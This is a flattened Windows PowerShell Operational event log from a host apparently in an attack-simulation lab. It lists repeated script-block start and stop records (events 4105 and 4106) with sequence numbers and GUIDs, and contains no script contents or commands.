410615103150x0668363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 